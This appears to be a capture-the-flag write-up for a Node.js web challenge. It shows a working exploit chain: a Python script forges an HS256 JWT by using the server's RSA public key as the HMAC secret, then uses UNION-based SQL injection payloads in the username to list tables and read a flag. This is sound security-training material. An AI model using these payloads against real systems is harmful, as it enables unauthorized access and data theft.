Under Construction

http://154.57.164.82:32728

$curl -I http://154.57.164.82:32728
HTTP/1.1 302 Found
X-Powered-By: Express
Location: /auth
Vary: Accept
Content-Type: text/plain; charset=utf-8
Content-Length: 27
Date: Fri, 05 Jun 2026 12:47:49 GMT
Connection: keep-alive

username:admin
password:admin

Invalid username or password

/auth?error=Invalid%20username%20or%20password

/auth?error=<b>Hello</b>

username:admin
password:admin

Welcome admin
This site is under development.
Please come back later.

import base64, json

token = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWVxua3RzYmoxS3h4VU9vencwdHJQOTNCZ0lwWHY2V2lwUVJCNWxxb2ZQbFU2RkI5OUpjNVFaMDQ1OXQ3M2dnVkRRaVxuWHVDTUkyaG9VZkoxVm1qTmVXQ3JTckRVaG9rSUZaRXVDdW1laHd3dFVOdUV2MGV6QzU0WlRkRUM1WVNUQU96Z1xuaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSFxuK0Z5bk5zak5Od281blJlN3RSMTJXYjJZT0N4dzJ2ZGFtTzFuMWtmL1NNeXBTS0t2T2dqNXkwTEdpVTNqZVhNeFxuVjhXUytZaVlDVTVPQkFtVGN6Mncya3pCaFpGbEg2Uks0bXF1ZXhKSHJhMjNJR3Y1VUo1R1ZQRVhwZENxSzNUclxuMHdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLVxuIiwiaWF0IjoxNzgwNjY1NzIwfQ.8tv3C6vxW8QEVANzjsc7uRuMGwJDZd4JDmNMs0anayX1sFgIQ4GYWV24arN7K2SN468EjrQq_OzHIfNc7fUpPnj_6wcvcQJP4B5W_txRrrV2hxtuNWKBr2Q3pocxxydKcIz2-vvxwz3ZnK_KMkkFCQEDIiGQ_iBS3y9iPbR2z3luspaAyg8uZFjp7Y0POW76XXBTqjWTMqv3FiPDSOKa_a_cs1eGWBplYRWAfhXhLJXpex98Kbczi5RQeGL36HuOZWbRS6ikVJJxP5U_7h-baJuovhu7LTAS56I48aMZIm46ftpajY7DAG4ffOz91YrG9xUpPUEf3EXErYYBUJA0SQ'

header, payload, signature = token.split('.')

def decode(seg):
	seg += '=' * (-len(seg) % 4)
	return json.loads(base64.urlsafe_b64decode(seg))

print(json.dumps(decode(header)))
print(json.dumps(decode(payload)))

$ python decode.py | jq
{
  "alg": "RS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
  "iat": 1780665720
}

base64url(Header).base64url(Payload).base64url(Signature)

function verify(token, secretOrPublicKey){
    algorithm = token.getAlgHeader();   // 上一条讲的：用户可控验签算法选择

    if(algorithm == "RS256"){
        // 把 secretOrPublicKey 当作 RSA 公钥
        // 用公钥做非对称验签:验证签名是否由对应的"私钥"产生
        expectedSig = RSA_SHA256_verify(
            data      = token.header + "." + token.payload,
            signature = token.signature,
            publicKey = secretOrPublicKey      // 作为 RSA 的公钥
        );
        return expectedSig;   // 攻击者没有私钥,无法伪造 → 安全

    } else if (algorithm == "HS256"){
        // 把 secretOrPublicKey 当作 HMAC 的密钥(secret)
        // 用这个 secret 重新算一遍 HMAC,再和 token 里的签名比对
        expectedSig = HMAC_SHA256(
            data = token.header + "." + token.payload,
            key  = secretOrPublicKey      // 这里被当成了对称加密中的"机密密钥"
        );
        return expectedSig == token.signature;
    }
}

verify(token, secretOrPublicKey)

$ 7z x -osrc challenge.zip

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=zh_CN.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 6010 bytes (6 KiB)

Extracting archive: challenge.zip
--
Path = challenge.zip
Type = zip
Physical Size = 6010

Everything is Ok

Folders: 4
Files: 8
Size:       9945
Compressed: 6010

$ rg public src/
src/helpers/JWTHelper.js
5:const publicKey  = fs.readFileSync('./public.key', 'utf8');
9:        data = Object.assign(data, {pk:publicKey});
13:        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));

const fs = require('fs');
const jwt = require('jsonwebtoken');

const privateKey = fs.readFileSync('./private.key', 'utf8');
const publicKey  = fs.readFileSync('./public.key', 'utf8');

module.exports = {
    async sign(data) {
        data = Object.assign(data, {pk:publicKey});
        return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
    }
}

$ rg jsonwebtoken src/
src/package.json
15:    "jsonwebtoken": "^8.5.1",

src/helpers/JWTHelper.js

if (!~options.algorithms.indexOf(decodedToken.header.alg)) {
  return done(new JsonWebTokenError('invalid algorithm'));
}

try {
  valid = jws.verify(jwtString, decodedToken.header.alg, secretOrPublicKey);
} catch (e) {
  return done(e);
}

if (header.alg.startsWith('HS') && secretOrPublicKey.type !== 'secret') {
      return done(new JsonWebTokenError((`secretOrPublicKey must be a symmetric key when using ${header.alg}`)))
    } else if (/^(?:RS|PS|ES)/.test(header.alg) && secretOrPublicKey.type !== 'public') {
      return done(new JsonWebTokenError((`secretOrPublicKey must be an asymmetric key when using ${header.alg}`)))
    }

if (!options.allowInvalidAsymmetricKeyTypes) {
  try {
	validateAsymmetricKey(header.alg, secretOrPublicKey);
  } catch (e) {
	return done(e);
  }
}

$ rg sql src/
src/package.json
17:    "sqlite3": "^4.1.1"

src/helpers/DBHelper.js
1:const sqlite = require('sqlite3');
3:const db = new sqlite.Database('./database.db', err => {
$ rg SELECT src/
src/helpers/DBHelper.js
11:            db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
19:            db.get(`SELECT * FROM users WHERE username = ?`, username, (err, data) => {
33:            db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err, data) => {

SELECT * FROM users WHERE username = '${username}'

const sqlite = require('sqlite3');

module.exports = {
    getUser(username){
        return new Promise((res, rej) => {
            db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
                if (err) return rej(err);
                res(data);
            });
        });
    },
}

$ rg 'getUser' src/
src/routes/index.js
10:        let user = await DBHelper.getUser(req.data.username);

src/helpers/DBHelper.js
9:    getUser(username){

const express = require('express');
const router = express.Router();
const path = require('path');
const AuthMiddleware = require('../middleware/AuthMiddleware');
const JWTHelper = require('../helpers/JWTHelper');
const DBHelper = require('../helpers/DBHelper');

router.get('/', AuthMiddleware, async (req, res, next) => {
    try{
        let user = await DBHelper.getUser(req.data.username);
        if (user === undefined) {
            return res.send(`user ${req.data.username} doesn't exist in our database.`);
        }
        return res.render('index.html', { user });
    }catch (err){
        return next(err);
    }
});

module.exports = router;

const JWTHelper = require('../helpers/JWTHelper');

module.exports = async (req, res, next) => {
    try{
        if (req.cookies.session === undefined) return res.redirect('/auth');
        let data = await JWTHelper.decode(req.cookies.session);
        req.data = {
            username: data.username
        }
        next();
    } catch(e) {
        console.log(e);
        return res.status(500).send('Internal server error');
    }
}

return res.render('index.html', { user });

Welcome {{ user.username }}<br>
This site is under development. <br>
Please come back later.

import jwt
import requests

public_key = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n'

token = jwt.encode({'username':"admin"}, public_key, 'HS256')

res = requests.get('http://154.57.164.79:30244',cookies={'session':token.decode()})

print(res.text)

$ python exploit.py | rg -o 'Welcome \w+'
Welcome admin

admin'

$ python exploit.py
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: SQLITE_ERROR: unrecognized token: &quot;&#39;admin&#39;&#39;&quot;</pre>
</body>
</html>

Error: SQLITE_ERROR: unrecognized token: "'admin''"

admin'--

$ python exploit.py | rg -o 'Welcome \w+'
Welcome admin

admin' union select NULL,NULL,NULL--

{{ user.username }}

admin' union select 1,NULL,NULL--
admin' union select NULL,1,NULL--
admin' union select NULL,NULL,1--

$ python exploit.py | rg -o 'Welcome \d'
Welcome 1

admin' union select NULL,group_concat(tbl_name,'-'),NULL from sqlite_master where type = 'table'--"

$ python exploit.py | rg -o 'Welcome [A-Za-z_-]+' | sed 's/Welcome //'
flag_storage-sqlite_sequence-users

admin' union select NULL, group_concat(name,'^') as column_names,NULL from pragma_table_info('flag_storage')--

$ python exploit.py | rg -o 'Welcome [A-Za-z_^-]+' | sed 's/Welcome //'
id^top_secret_flaag

admin' union select NULL, top_secret_flaag,NULL from flag_storage--

$ python exploit.py | rg -o 'Welcome [A-Za-z0-9_-{}]+' | sed 's/Welcome //'
HTB{d0***********************k3y}